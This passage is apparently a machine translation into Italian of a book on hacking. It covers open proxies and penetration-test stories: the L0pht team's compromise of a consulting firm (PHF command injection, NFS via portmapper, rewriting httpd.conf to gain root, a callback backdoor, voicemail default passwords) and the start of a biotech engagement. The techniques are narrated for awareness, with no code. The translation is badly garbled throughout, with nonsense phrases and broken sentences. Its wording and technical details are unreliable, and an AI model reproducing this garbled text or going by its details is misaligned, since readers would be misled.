172.16.0.0 attraverso 172.31.255.255

192.168.0.0 attraverso 192.168.255.255

L'arte dell'intrusione

112

E' anche una buona idea usare restrizione porta per limitare i servizi specifici il server proxy consentirà, ad esempio limitando le connessioni in uscita a HTTP (accesso Web) o HTTPS (accesso Web sicuro). Per ulteriore controllo, alcuni server proxy che utilizzano SSL (Secure Sockets Layer) possono essere configurati esaminare le fasi iniziali del traffico viene inviato per confermare che un protocollo non autorizzato non viene veicolato su un porto autorizzato. Prendendo questi passaggi sarà limitare un attaccante dal cattivo uso del server proxy per connettersi a servizi non autorizzati.

Dopo l'installazione e la configurazione di un server proxy, che dovrebbe essere testato per vulnerabilità. Non si sa mai se siete vulnerabili finché non si prova per rezza fallimenti rezza. Una pedina procura gratuito può essere scaricato da Internet.

5

Un altro elemento: Dal momento che un utente installa un pacchetto software può in qualche circostanze inconsapevolmente da installare anche il software server proxy, cor- pratiche di sicurezza porate dovrebbero fornire qualche procedura di routine computer di controllo di server proxy non autorizzati che possono essere state installato inavvertitamente. È possibile utilizzare lo strumento preferito di Adrian, Proxy Hunter, per testare la propria rete. Ricordate che un server proxy configurato correttamente può essere il migliore amico di un hacker.

Un gran numero di attacchi di hacker possono essere bloccati semplicemente seguendo migliore pratiche di sicurezza e di esercitare un livello di diligenza. Ma i pericoli di accidentalmente distribuzione di un proxy aperto è troppo spesso sottovalutato e rappresentanti inviato un'importante vulnerabilità in un gran numero di organizzazioni. Abbastanza detto?

T

HE

B

OTTOM

L

INE

In qualsiasi campo li trovate, le persone di una svolta originale della mente, per- ple che sono pensatori profondi e vedere il mondo (o almeno una parte di essa) più chiaramente di coloro che li circondano sono persone vale la pena incoraggianti. E, per quelli come Adrian Lamo, la gente del valore di sterzo lungo un con- percorso costruttivo. Adrian ha la capacità di dare un contributo significativo. Io seguirà il suo corso con fascino.

N

OTES

1. Consultare il comunicato stampa da parte del governo degli Stati Uniti a www.usdoj.gov/criminal/cybercrime/lamoCharge.htm.

2. Vedere www.usdoj.gov/criminal/cybercrime/lamoCharge.htm.

3. Per ulteriori informazioni su questo, vedere www.crime-research.org/library/Kevin2.htm.

4. Vedere www.infoworld.com/article/04/07/16/HNlamohome_1.html.

5. Per ulteriori informazioni su questo, vedere www.corpit.ru/mjt/proxycheck.html.

Capitolo 5 The Hacker Robin Hood

113

115

Capitolo 6**La saggezza e la follia
di Testing Penetration**

L'adagio è vero che i sistemi di sicurezza devono vincere ogni volta, il attaccante deve solo vincere una volta.

- Dustin Dykes

T

hink di una guardia carceraria che assume un esperto per studiare il suo istituto di procedure di sicurezza di tuzione, preoccupati per eventuali lacune potrebbe consentire a un detenuto di scivolare fuori. Una società segue lo stesso linea di pensiero quando si porta in una ditta di sicurezza per verificare la santità della sua Reti di siti web e di computer contro le intrusioni di vedere se aggressori assunti possono trovare un modo per accedere ai dati sensibili, enter limitato parti dello spazio ufficio, o comunque trovare lacune nella sicurezza che potrebbe mettere l'azienda al rischio.

Per persone nel campo della sicurezza, questi sono *test di penetrazione* - o, in gergo, "i test di penna." Le società di sicurezza che conducono queste esercitazioni sono frequentemente composto da (sorpresa, sorpresa) ex hacker. In realtà, i fondatori di queste imprese sono spesso essi stessi persone che hanno una vasta degli hacker credenziali che preferiscono i loro clienti non conoscere. Rende senso che i professionisti della sicurezza tendono a venire dalla comunità hacker, dal momento che un hacker tipica è ben educato nel comune e non così comune porte che le aziende lasciano inavvertitamente aperto nel loro sanzione interna spire. Molti di questi ex hacker hanno conosciuto da quando erano adolescenti che "sicurezza" è, in molti casi, una grave improprio.

Qualsiasi azienda che ordina un test di penna e si aspetta i risultati per confermare che la loro sicurezza è intatta e perfetta è probabilmente mettendo se stessi per

un brusco risveglio. Professionisti del settore di condurre sicurezza valutazioni spesso trovano gli stessi vecchi errori - le aziende sono sem-foglio non esercita sufficiente diligenza nella tutela della loro mazioni proprietario sistemi di informazione e informatici.

Le aziende e le agenzie governative ragione conducono valutazione di sicurezza menti è quello di individuare l'approccio alla sicurezza in un punto nel tempo. Inoltre, potevano misurare i progressi dopo il risanamento di tutte le vulnerabilità che sono stati identificati. Certo, un test di penetrazione è analogo ad un elettrocardiogramma.

Il giorno successivo, un hacker può rompere in con un zero-day exploit, anche se l'azienda o agenzia passavano la loro valutazione della sicurezza a pieni voti.

Quindi, chiede una prova di penna nella speranza che possa confermare la organizzazione sta facendo un lavoro bang-up di proteggere il suo informazioni sensibili ne è follia. I risultati possono risultare esattamente il contrario, come dimostrato strata dai seguenti racconti - uno per una società di consulenza, la altro con una società biotech.

O

NE

C

OLD

W

INTER

Non molto tempo fa, alcuni manager e dirigenti di una grande New England IT Consulting Firm riuniti nella loro sala conferenze hall per incontrare una coppia di consulenti. Posso immaginare la gente di tecnologia dell'azienda presso la tavola deve essere stato incuriosito uno dei consulenti, Pieter Zatko, un ex-hacker, noto come "Mudge".

Torna nei primi anni 1990, Mudge e un associato ha riunito un assortimento di ragazzi che la pensano a lavorare insieme in uno spazio angusto in un Boston magazzino; il gruppo sarebbe diventato un com- altamente rispettato attrezzatura di sicurezza computer chiamato L0pht o, lingua saldamente in guancia, L0pht Heavy Industries. (Il nome è scritto con un piccolo "L", uno zero invece di un "O", e, in stile hacker, "ph" per il suono di "f"; è pronunciato "Loft".) Come l'operazione è cresciuto più di successo e la sua fama si diffuse, Mudge è stato invitato a condividere la sua conoscenza. Ha tenuto conferenze in luoghi come scuola strategia dell'esercito americano a Monterey sul tema "informazione di guerra" - come ottenere nei computer di un nemico e di interrompere Ser- ghiaccia senza essere rilevati, nonché tecniche di distruzione dei dati e simili.

Uno degli strumenti più popolari per gli hacker di computer (e talvolta per persone di sicurezza così) è il pacchetto software chiamato L0phtCrack. Il magic questo programma esegue è dato per scontato da parte di coloro che ne fanno uso, e Ho il sospetto accuratamente odiato da un gran numero di altri. Il granato gruppo L0pht l'attenzione dei media nered perché hanno scritto un tool (chiamato 10phtCrack) che rapidamente cracking hash delle password. Mudge coautore L0phtCrack e co-fondato il sito on-line che ha reso il programma disponibile per gli hacker e chiunque altro interessato, in primo libero, poi come operazione di fare soldi.

L'arte dell'intrusione

116

Meeting iniziale

La chiamata che L0pht aveva ricevuto dalla società di consulenza (che chiameremo loro "Newton") è venuto dopo che la società ha deciso di aver bisogno di ampliare il servizi hanno offerto loro clienti aggiungendo la capacità di condurre la penna test. Invece di assumere nuove persone del personale e la costruzione di un reparto di Grad dualmente, erano lo shopping per un organismo già esistente che potevano comprare e portare in-house. All'inizio della riunione, una delle società di persone di cui l'idea sul tavolo: "Vogliamo comprare e farvi parte della nostra . società "Mudge ricorda la reazione:

Eravamo come, "Beh, ehm, ehm, non si sa nemmeno molto su di noi."

Sapevamo che erano veramente interessati in gran parte dalla frenesia dei media che L0phtCrack stava creando.

In parte per guadagnare tempo mentre si è abituato all'idea di vendere l'azienda, in parte perché non voleva correre negoziati, Mudge avvicinò con una manovra dilatoria.

Ho detto: "Guarda, non so davvero che cosa si sarebbe trovato. Come su questo - come su per \$ 15,000 faremo una penna esaustivo Test sulla vostra organizzazione? "

Al momento, la L0pht non era nemmeno una società di penetration test. Ma ho detto loro: "Se non sai quali sono le nostre competenze sono, si sta praticamente andando off della nostra pubblicità. Lei paga us \$ 15.000. Se non ti piace quello che

si ottiene, allora non c'è bisogno di acquistare per noi e sarà ancora stato vale il tempo perché si otterrà un buon rapporto di prova penna e ti avere 15 mila dollari in banca.

"E, naturalmente, se ti piace e siete impressionato da essa, che abbiamo aspetti si, allora ti comprarci".

Hanno detto: "Certo, questo è grande."

E sto pensando, "Che idioti!"

Per modo di Mudge di pensare, erano "idioti" perché erano andando ad autorizzare la squadra L0pht di entrare nel loro file e dente spondenza allo stesso tempo stavano negoziando un accordo per acquistare la sua azienda. Lui si aspettava di essere in grado di sbirciare sopra le loro spalle.

Regole di base

Consulenti di sicurezza in esecuzione di un test di penna hanno qualcosa in comune con il vice sotto copertura poliziotti acquistare farmaci: Se un poliziotto in uniforme zona macchie della transazione e tira la sua pistola, il ragazzo buoncostume mostra solo il suo

Capitolo 6 La saggezza e la follia di Penetration Testing

117

distintivo. Nessuna preoccupazione di andare in prigione. Il consulente di sicurezza assunto per testare le difese di una società vuole la stessa protezione. Invece di un distintivo, ogni membro del team pen-test riceve una lettera firmata da un'azienda esecutivo dicendo, in effetti, "Questo ragazzo è stato ingaggiato per fare un progetto per noi, e se si cattura lui a fare qualcosa che sembra improprio, è bene. No sudore. Lascialo andare sul suo lavoro e mi invia un messaggio con i dettagli."

Nella comunità di sicurezza, questa lettera è conosciuto da tutti come un "get-out-of-carda gratis di prigione". tester Pen tendono ad essere molto coscienzioso di fare che essi hanno sempre una copia della lettera con loro quando sono o da nessuna parte vicino la sede della società cliente, nel caso in cui ottengono fermato da una guardia di sicurezza che decide di flettere qualche muscolo e impressionare il più alto-up con i suoi istinti Gumshoe, o sfidati da un coscienzioso dipendente infettiva che viene però intercettato qualcosa di sospetto e ha abbastanza gump-zione per affrontare il tester penna.

In un altro passo normale prima di un test viene avviato, il cliente specifica il regole di base - quali parti del loro funzionamento si desidera includere nel test e quali parti sono off-limits. Questo è solo un attacco tecnico, per vedere se la tester possono ottenere informazioni sensibili trovando sistemi non protetti o ottenere oltre il firewall? È una valutazione dell'applicazione del fattore pubblicamente ing sito Web solo, o la rete informatica interna, o l'intera opera?

Saranno attacchi di ingegneria sociale inclusi - il tentativo di ingannare occupazione SEO nel dare informazioni non autorizzate? Che ne dite di attacchi fisici, in cui i tester tentano di infiltrarsi dell'edificio, aggirando la forza di guardia o scivolare attraverso ingressi solo dipendenti-? E come di cercare di ottenere informazioni dal *dumpster diving* - guardando attraverso la società spazzatura per scartoffie scartato con password o altri dati di valore? Tutto questo deve essere precisato in anticipo.

Spesso la società vuole solo un test limitato. Un membro del L0pht gruppo, Carlos, vede questo come irrealistico, sottolineando che "gli hacker non lo fanno lavorare in questo modo. »Si favorisce un approccio più aggressivo, quello in cui il guanti sono fuori e non ci sono restrizioni. Questo tipo di test è non solo

più rivelatore e di valore per il cliente, ma più piacevole per i tester pure. E', Carlos dice, "molto più divertente e interessante." Su questo, Carlos ha ottenuto il suo desiderio: Newton ha accettato di un attacco senza esclusione di colpi. Security si basa principalmente sulla fiducia. L'azienda assumente deve fidarsi del rezza società rezza affidato per eseguire la valutazione di sicurezza. Inoltre, la maggior parte delle aziende e agenzie governative richiedono un accordo di non divulgazione (NDA) per proteggere legalmente informazioni aziendali proprietarie divulgazione non autorizzata.

E' comune per penna tester di firmare un NDA, in quanto potrebbero venire su informazioni sensibili. (Naturalmente, il NDA sembra quasi superflua ous: Qualsiasi azienda che fatto uso di tutte le informazioni del cliente sarebbe probabilmente L'arte dell'intrusione

118

non riescono ad ottenere un altro cliente. La discrezione è essenzialmente un prerequisito.) Spesso, penna tester sono inoltre tenuti a firmare un pilota afferma che l'impresa farà del suo meglio per non influenzare le operazioni aziendali quotidiane dell'azienda. L'equipaggio L0pht per il test Newton consisteva di sette persone, che avrebbe funzionato da solo o in coppia, ogni persona o gruppo responsabile FOCUS-zione su un diverso aspetto delle attività della società.

Attack!

Con il loro get-out-of-carcere-liberi da visita, i membri del team L0pht potrebbero essere aggressive come volevano, anche "rumoroso" - significato svolgimento di attività che potrebbe richiamare l'attenzione su se stessi, qualcosa di un tester penna solito evita. Ma ancora speravano di rimanere invisibile. "E' più fresco per ottenere tutto questo informazioni e poi, alla fine sappiamo che non era rilevato te. Sei sempre cercando per questo ", dice Carlos.

Web server di Newton era in esecuzione il software server popolare chiamato Apache. La prima vulnerabilità che Mudge aveva trovato era il bersaglio com-di società Checkpoint Firewall-1 aveva una configurazione predefinita nascosta (regola) a consentire in pacchetti con un UDP sorgente (User Data Protocol) o TCP Port (Transmission Control Protocol) di 53 a quasi tutte le porte alte sopra 1023. Il suo primo pensiero è stato quello di cercare di montare il loro esportati filesystem usando NFS (Network File System), ma presto si rese conto che il firewall aveva una regola che blocca l'accesso al demone NFS (porta 2049). Anche se i servizi di sistema comuni sono stati bloccati, Mudge conosceva una funzionalità non documentata del sistema operativo Solaris che legava rpcbind (il portmapper) ad una porta sopra 32770. Il portmapper assegna numeri di porta dinamici per alcuni programmi. Attraverso la portmapper, è stato in grado di trovare la porta dinamica che è stato assegnato a il demone mount (mountd) servizio. A seconda del formato del richiesta, Mudge dice, "il demone mount sarà anche in campo Network File Chiede di sistema perché usa lo stesso codice. Ho ottenuto il demone mount dal portmapper, poi sono andato fino al demone mount con la mia Richiesta NFS. "Utilizzo di un programma chiamato nfshell, fu in grado di distanza montare il file system del sistema di destinazione. Mudge ha detto: "Abbiamo subito avuto la dial-up numeri della lista. Abbiamo appena scaricare il loro interi file system esportati. Abbiamo avuto il controllo totale del sistema ".

Mudge ha inoltre rilevato che server di destinazione era vulnerabile alla onnipresente PHF foro (vedi capitolo 2, "quando i terroristi Vieni Calling"). Era in grado

per ingannare lo script PHF CGI per eseguire comandi arbitrari passando il Stringa Unicode per un carattere di nuova riga seguito dal comando di shell per correre. Guardando intorno al sistema utilizzando PHF, si rese conto che l'Apache processo server è stato eseguito con l'account di "nessuno". Mudge era lieto di vedere che gli amministratori di sistemi erano "bloccato il

Capitolo 6 La saggezza e la follia di Penetration Testing

119

Pagina 141

box "- cioè, assicurato il sistema informatico - che è esattamente ciò che dovrebbe essere fatto se il server è collegato ad una rete non sicura come Internet. Cercò di file e directory, sperando di trovare un che era scrivibile. Dopo un ulteriore esame, si accorse che l'Apache file di configurazione (httpd.conf) era di proprietà anche dalla voce "nessuno". Questo errore significa che ha avuto la capacità di sovrascrivere il contenuto della file httpd.conf.

La sua strategia era quella di modificare il file di configurazione di Apache in modo che il prossimo tempo Apache è stato riavviato, il server verrebbe eseguito con i privilegi account di root. Ma aveva bisogno di un modo per modificare la configurazione in modo che poteva cambiare ciò utente Apache correva sotto.

Lavorando insieme con un uomo la cui maniglia è Hobbit, i due figurati un modo per utilizzare il programma netcat, insieme con alcuni trucchi di shell, per ottenere la cosa più vicina ad una shell interattiva. Poiché l'amministratore di sistema aveva apparentemente cambiato la proprietà dei file nella directory "conf" a "nessuno" Mudge stato in grado di utilizzare il comando "sed" per modificare httpd.conf, così la prossima volta che Apache è stato avviato, avrebbe eseguito come root. (Questa vulnerabilità nella versione aggiornata di Apache è stato dal corretto.)

Perché le sue modifiche non entreranno in vigore fino al prossimo Apache era riavviato, ha dovuto sedersi e aspettare. Una volta riavviato il server, Mudge è stato in grado di eseguire comandi come root attraverso lo stesso vulnerabile PHF vul-; mentre i comandi erano stati precedentemente eseguiti sotto il contesto dell'account "nessuno", ora Apache era in esecuzione come root. Con la capacità di eseguire comandi come root, era facile ottenere il pieno controllo del sistema.

Nel frattempo, gli attacchi L0pht procedevano su altri fronti. Che Cosa la maggior parte di noi in hacking e sicurezza chiamata dumpster diving, Mudge ha un più termine formale per esso: *analisi fisiche*.

Abbiamo inviato persone oltre a fare analisi fisiche. Un dipendente [del azienda cliente] Credo che era appena stato licenziato e invece di gettando il suo lavoro di ufficio, avevano cestinato intera sua scrivania. [Il nostro ragazzi trovato] scrivania stabilite con la spazzatura. I cassetti erano pieni di biglietti aerei vecchi, manuali, e tutti i tipi di documenti interni.

Volevo mostrare [il cliente] che le buone pratiche di sicurezza non sono solo per la sicurezza informatica.

Questo è stato molto più facile che passare attraverso tutte le loro cose spazzatura perché avevano un compattatore. Ma non potevano andare bene la scrivania in compattatore.

Ho ancora quella scrivania da qualche parte.

L'arte dell'intrusione

120

La squadra fisica entrato anche la sede aziendale utilizzando un semplice e, nelle giuste circostanze, il metodo quasi infallibile noto come *bagagliaio gating*. Si tratta di seguire da vicino dietro un dipendente come lui o lei passa attraverso una porta protetta, e funziona particolarmente bene in uscita una caffetteria società o altra area in gran parte utilizzato dai dipendenti, in un zona protetta. La maggior parte dei membri del personale, in particolare quelle a basso ordinati, hesitate per affrontare uno straniero che entra nell'edificio dietro di loro, per paura la persona potrebbe essere qualcuno di rango in azienda.

Un'altra squadra L0pht stava conducendo attacchi contro telefonica aziendale e sistemi di segreteria telefonica. Il punto di partenza standard è di capire il Man-produttori di realizza- e tipo di sistema utilizzato dal client, quindi impostare un computer composizione di guerra - che è, provando una estensione dopo l'altro per individuare occupazione ees che non hanno mai messo le proprie password, o hanno utilizzato password sono facili da indovinare. Una volta trovato un telefono vulnerabile, gli attaccanti possono poi ascoltare qualsiasi messaggi vocali memorizzati. (hacker telefono - "phreakers" - hanno usato lo stesso metodo per effettuare chiamate in uscita a scapito della società.)

Mentre la selezione di guerra, la squadra di telefono L0pht stato anche identificando azienda interni telefonici risposto da un modem dial-up. Queste connessioni dial-up a volte sono rimasti senza protezione, facendo leva sulla sicurezza-through-obscurity approccio, e sono spesso sul "lato di fiducia" del firewall.

Oscuramento

Le giornate sono state rotolando da, le squadre stavano registrando preziosi bocconcini di formazioni

zioni, ma Mudge ancora non era venuto su con una brillante idea di causare il sistema Apache riavvio modo che potesse ottenere l'accesso alla rete.

Poi una disgrazia avvenuta che, per la squadra, ha avuto un lato positivo:

Stavo ascoltando le notizie e sentito che c'era un blackout nella città in cui era situata l'azienda.

In realtà era tragica, perché un lavoratore di utilità era morto in un esplosione botola attraverso sull'altro lato della città, ma aveva eliminato il potere per tutta la città.

Ho pensato, se solo prendere abbastanza a lungo per ripristinare il potere, allora sistema di backup di alimentazione del server molto probabilmente si esaurirà.

Ciò significherebbe il server avrebbe chiuso. Quando la potenza città è stato restaurato, il sistema riavvia.

Mi sono seduto lì controllare il server Web in costante e poi ad un certo punto il sistema è andato giù. Hanno dovuto riavviarlo. Così i tempi

Capitolo 6 La saggezza e la follia di Penetration Testing

121

era perfetto per noi. Quando il sistema si avvicinò, ecco che

Apache è stato eseguito come root, proprio come avevamo programmato.

La squadra L0pht a quel punto è stata in grado di compromettere completamente i macchina, che poi divenne "il nostro trampolino di lancio interno per la scansione di un attaccare fuori da quel punto ". Per Carlos, questo era " un giorno di campo. "

Il team ha sviluppato un pezzo di codice che renderebbe improbabile che potrebbero essere chiuse dal sistema. Firewall aziendali non sono di solito con-

pensato per bloccare *in uscita* il traffico, e programma leggero di Mudge, installato su uno dei server di Newton, ha fatto una connessione ogni pochi minuti di nuovo a un computer sotto il controllo della squadra. Questo collegamento 'apposita interfaccia a linea di comando come la "shell a linea di comando" familiare agli utenti di Unix, Linux, e il vecchio sistema operativo DOS. In altre parole, la macchina Newton forniva regolarmente la squadra di Mudge il portunità oppor- per immettere i comandi che aggiravano il firewall della società. Per evitare di essere scoperti, Mudge aveva chiamato il loro script per mescolarsi nella lingua sfondo del sistema. Chiunque individuare il file potrebbe assumerla era una parte del normale ambiente di lavoro.

Carlos impostato sulla ricerca dei database Oracle nella speranza di trovare i dati del libro paga dei dipendenti. "Se si può mostrare al CIO il suo stipendio e come molto bonus è stato pagato, che di solito guida la casa messaggio che hai tutto. "Mudge ha istituito un *sniffer* su tutte le email in entrata e in fuori della società. Ogni volta che un dipendente Newton andato al firewall per lavori di manutenzione, L0pht era a conoscenza di esso. Erano scioccati da vedere quel testo chiaro è stato utilizzato per il login sul firewall.

In poco tempo, L0pht aveva completamente penetrato l'intera rete, e aveva i dati per dimostrarlo. Dice Mudge, "Sai, è per questo che penso che un sacco delle aziende non piace avere le prove della penna della parte interna delle loro reti. Sanno che è tutto negativo. "

Revelations Voicemail

Il team ha scoperto che alcuni di telefono dei dirigenti leader trattative per acquisire la L0pht avevano le password di default sul loro voicemail scatole. Mudge e la sua squadra ha ottenuto un earful - e alcuni di essi era divertente. Uno degli elementi che avevano chiesto come condizione di vendere L0pht a la società è stata una unità mobile di operazioni - un furgone carico che potevano dotare con attrezzi wireless e l'utilizzo durante gli altri test di penetrazione per capturing comunicazioni wireless non crittografate. Per uno dei dirigenti, l'idea di acquistare un furgone per la squadra L0pht sembrava così scandaloso che iniziato definendolo un Winnebago. La sua segreteria telefonica era piena di osservazioni sferzanti da altri funzionari della società circa la "Winnebago," e il L0pht squadra in generale. Mudge era divertito e inorridito.

L'arte dell'intrusione

122

Relazione finale

Quando il periodo di prova era finita, Mudge e la squadra hanno scritto il loro relazione e pronti a consegnare a una riunione alla quale parteciperanno tutti i dirigenti di Newton. Il popolo Newton avevano idea di cosa aspettarsi; l'equipaggio L0pht sapeva che sarebbe stato una sessione incendiario. *Quindi stiamo dando loro la relazione e siamo solo strappo aperte. E sono in imbarazzo. Questo meraviglioso amministratore di sistema, un veramente bravo ragazzo, ma abbiamo avuto sniffer in atto, e che avevamo visto lui cercando di accedere uno dei router, provando una password e non riesce, provando un altro, non riesce, provando un altro, e non riesce, anche.* Queste erano le password di amministratore per tutte le diverse interna sistemi, che i tester penna ottenuto tutto in una volta da quello arco di pochi minuti. Mudge ricorda pensando a quanto bello e facile che era. *La parte più interessante è stato per i messaggi vocali in cui erano*

parlando di loro acquisto di noi. Loro ci dicevano: "Sì, abbiamo vogliono tutti voi ragazzi. "Ma i messaggi vocali tra loro, erano dicendo: "Beh, vogliamo Mudge, ma non vogliamo questi altri ragazzi, faremo fuoco non appena vengono su. "

Nel corso della riunione, i ragazzi L0pht giocato alcuni dei voicemail catturato messaggi, mentre i dirigenti sedevano loro ascolto al proprio imbarazzo ing parole. Ma il meglio doveva ancora venire. Mudge aveva programmato una finale sessione negoziati per l'acquisizione in modo che aveva già avuto luogo a l'ora della riunione rapporto. Ha condiviso i dettagli di tale riunione con evidente gioia.

Così entrano e dicono: "Siamo disposti a dare questo, è il numero più alto che si possa andare a, e faremo tutto questo cose ". Ma sappiamo esattamente quali parti stanno dicendo che è vero, quello che le parti stanno dicendo sono bugie.

Si inizierà con un numero così basso-ball. E sono come, "Sì, cosa ne pensi? "E noi contrastata con:" Beh, non lo facciamo pensiamo di poter fare a meno di ... "e chiamato il numero che sapeva era la loro figura in alto.

Ed è come, "Oh, oh, dovremo parlare di questo, perché non è vero darci qualche minuto, potete lasciarci soli in camera? "

Se non fosse stato per questo genere di cose, avremmo pensato molto seriamente. Ma loro stavano cercando di tirare un veloce uno.

Capitolo 6 La saggezza e la follia di Penetration Testing

123

Pagina 145

Alla riunione rapporto - le sessioni finali tra i rappresentanti delle due società - Mudge ricorda che "volevamo solo assicuriamo potremmo convincerli che non c'era una macchina sulla rete non potevamo avere pieno accesso a. "Carlos ricorda i volti di diversi dirigenti "girando un pò rossa" mentre ascoltavano.

Alla fine la squadra L0pht allontanò. Hanno ottenuto di tenere il \$ 15,000 ma non ha venduto la società che volta.

O

NE

La

LARMING

Sol

AME

Per consulente di sicurezza Dustin Dykes, l'hacking per profitto è "esilarante. Capisco i drogati di adrenalina, è un alto assoluto. "Così quando lui arrivato nella sala conferenze hall di una società farmaceutica che chiameremo "Biotech" per discutere di fare un test di penetrazione per loro, era di buon umore e in attesa della sfida.

Come consulente di piombo per la pratica dei servizi di sicurezza del suo com-società, Callisma, Inc. (ora parte di SBC), Dustin aveva chiamato per la sua squadra a partecipare alla riunione vestito in abbigliamento di affari. E 'stato colto di sorpresa quando la gente Biotech si presentarono in jeans, t-shirt e pantaloncini, tutte le più strano perché l'area di Boston al momento soffriva uno dei più freddi inverni in memoria.

Nonostante un background in gestione di computer - in particolare, reti

operazioni di lavoro, Dustin ha sempre considerato una persona di sicurezza, un atteggiamento probabilmente ha sviluppato mentre facendo un turno di servizio in the Air Forza, dove, dice, "ho coltivato la mia paranoia latente: la sicurezza mente-set che ognuno è fuori per voi. "

Mettersi in contatto con i computer in seconda media era di sua matrigna fare. Allora, ha lavorato per una società come amministratore di sistema.

Dustin è stato affascinato dalla lingua straniera suono ha usato quando parlare d'affari al telefono. Quando aveva 13 anni, "Una notte ha portato a casa un computer che ho preso nella mia stanza e programmato per creare Dungeons and Dragons personaggi e rotolare il mio dadi per me. "Addentrarsi libri sulla base e raccogliere tutto ciò che poteva raccogliere da amici, Dustin sviluppato le sue abilità. Si insegnato come utilizzare un modem per composizione nel posto di lavoro di sua matrigna per giocare i giochi di avventura. In un primo momento

voleva solo sempre più tempo al computer, ma è cresciuto lui reale zato che il suo spirito libero, non sarebbe una buona partita per trascorrere la sua vita un terminale. Come un consulente di sicurezza, avrebbe potuto unire il suo talento con il suo hanno bisogno di libertà. Questo è stato sicuramente "una soluzione elegante."

La decisione di fare una carriera nel campo della sicurezza si è rivelato essere un buon compromesso.

"Sono entusiasta di essere in questa professione", dice. "E 'una partita a scacchi. Ogni muoversi, c'è una contromossa. Ogni mossa cambia l'intera dinamica del gioco. "

L'arte dell'intrusione

124

Regole di ingaggio

Ha senso per ogni azienda di essere preoccupato per la vulnerabilità sono - come un buon lavoro che stanno facendo a proteggere il loro intellettuale proprietà, la protezione contro la perdita di fiducia del pubblico che, inevitabilmente, segue una pausa-in molto pubblicizzato, e custodire i loro dipendenti contro le intrusioni elettroniche furtivamente un'occhiata alle informazioni personali. Alcune aziende sono motivate da ragioni ancora più pressante, come non incorrere di agenzie di cane da guardia del governo che potrebbe significare perdere un importante contratto o l'impostazione indietro di un progetto di ricerca fondamentale. Qualsiasi com-

società in possesso di un Dipartimento della Difesa contratto in questa categoria. Così è qualsiasi società di fare ricerca biotecnologica sensibile che ha la Food and Drug Administration guardando oltre loro spalla - che è la categoria che il nuovo client di Callisma cadde. Con sostanze chimiche pericolose in giro, e laboratori dove gli scienziati stavano conducendo la ricerca del noleggio hacker-per-non ha vogliono sapere, questo sarebbe stato difficile.

Al primo incontro con Biotech, il team Callisma appreso che il azienda ha voluto essere colpito con ogni attacco possibile che un vero avversario potrebbe tentare: semplice agli attacchi tecnici complessi, ingegneria sociale, e fisiche irruzioni. I dirigenti della società, come è spesso il caso, sono stati alcuni tester penna troverebbero ogni loro sforzo sconfitto. Così Biotech deposto le regole di punteggio: A dir poco solido evi- documentario denza sarebbe accettabile.

Un processo di "cessare e desistere" è stato istituito per il test. A volte

questo può essere semplice come un concordato-upon parola di codice da qualsiasi designato dipendente per fermare un attacco che colpisce negativamente della società lavoro. La società ha anche dato indicazioni sul trattamento di compromesso informazioni - come sarebbe stato contenuto, quando si sarebbe capovolta ea chi.

Poiché un test penna porta la possibilità di eventi che potrebbero interferire con il lavoro della società, diversi Cosa fare se anche bisogno di essere affrontato in anticipo.

Chi nella catena di comando sarà notificata quando ci potrebbe essere un interruzione dei servizi? Esattamente quello che le parti del sistema possono essere compromesse e come? E come faranno i tester sanno fino a che punto un attacco può essere effettuata prima danni irreparabili o perdita di verifica azienda?

I clienti chiedono spesso solo per un test di penna che coinvolge un attacco tecnico e trascurare altre minacce che possono lasciare l'azienda ancora più vulnerabile.

Dustin Dykes spiega:

Indipendentemente da quello che dicono, io so il loro obiettivo primario è quello di individuare le loro debolezze del sistema, ma di solito sono vulnerabili in

un altro modo. Un vero attaccante andrà per il percorso di minor resistenza

ANCE, l'anello più debole della catena di sicurezza. Come scorrere l'acqua

Capitolo 6 La saggezza e la follia di Penetration Testing

125

in discesa, l'attaccante è gonna go per il metodo più liscio, che è più probabile che con le persone.

Attacchi di ingegneria sociale, Dustin consiglia, dovrebbero sempre essere parte di un penna di prova società. (Per maggiori informazioni sul social engineering, vedere il Capitolo 10, "Gli ingegneri sociali - come funzionano e come fermarli.")

Ma lui sarebbe felice di rinunciare un'altra parte del repertorio. Se lui non deve tentare l'ingresso fisico, non lo farà. Per lui, si tratta di un ultimo ricorrere, anche portando la sua get-out-of-libera-carcere carta. "Se qualcosa sta succedendo ad andare male male, probabilmente sarà proprio quando sto cercando di scivolare in un costruzione inosservato dalla forza di sicurezza o di qualche dipendente sospetti. "

Infine, il team pen-test ha anche bisogno di sapere qual è il Santo Graal è. In questo high-stakes gioco sleuthing elettronica, è fondamentale sapere che pre-precisamente. Per l'azienda farmaceutica, il Santo Graal era il loro finanziari, clienti, fornitori, processi di fabbricazione, e file su i loro progetti di R & S.

Pianificazione

Il piano di Dustin per il test chiamato per partenza da "Silent Running" - keeping un profilo basso, poi lentamente diventando sempre più visibile fino a quando qualcuno finalmente notato e sollevato una bandiera. L'approccio nasce dalla Dustin di filosofia sui progetti pen-test, che si riferisce a come *teaming rosso* .

Quello che cerco di realizzare negli sforzi teaming rossi è dal defenpostura sive che trovo imprese raccogliendo. Pensano, "Facciamo assumere la mentalità dell'attaccante. Come ci difendersi vero? "Questo è già uno sciopero contro di loro. Non sanno come hanno intenzione di agire o reagire meno che non sanno ciò che è importante per li.

Sono d'accordo; come ha scritto Sun Tzu: Conoscere il tuo nemico e te, e si vuole vittoriosi.

Tutti i test approfonditi penna - quando il cliente è d'accordo - utilizzano gli stessi tipi

di attacco descritto in precedenza in questo capitolo.

Identifichiamo nella nostra metodologia di quattro aree: ingresso tecnico in la rete, che è molto di ciò che parliamo. Inge- sociale neering, [che per noi comprende anche] l'intercettazione e la spalla surf. Dumpster immersioni. E poi anche l'ingresso fisico. Così quelli quattro aree.

(*surf spalla* è un termine colorato per surrettiziamente guardare un dipendente digitare la propria password. Un attaccante esperto in questa arte ha L'arte dell'intrusione

126

imparato a guardare le dita che volano con sufficiente attenzione per sapere qual è il persona ha digitato, pur fingendo di non essere prestando attenzione.)

Attack!

Il primo giorno, Dustin entrò nella hall del Biotech. Off per il diritto di la stazione di guardia era un bagno e la mensa aziendale, sia di che erano facilmente accessibili ai visitatori. Sull'altro lato della guardia stazione era la stessa sala conferenze dove la squadra di Dustin aveva raccolto per il loro incontro iniziale con i dirigenti Biotech. La guardia era cen- maniera accentrata di stanza a guardare l'accesso primario alle entrate garantite, ma la sala conferenze era completamente fuori dal suo campo visivo. Chiunque poteva camminare in, senza fare domande. Che è esattamente ciò che Dustin e la sua compagno di squadra ha fatto. E poi hanno avuto tutto il tempo di dare un'occhiata piacevole intorno. Dopo tutto, nessuno sapeva che erano anche lì.

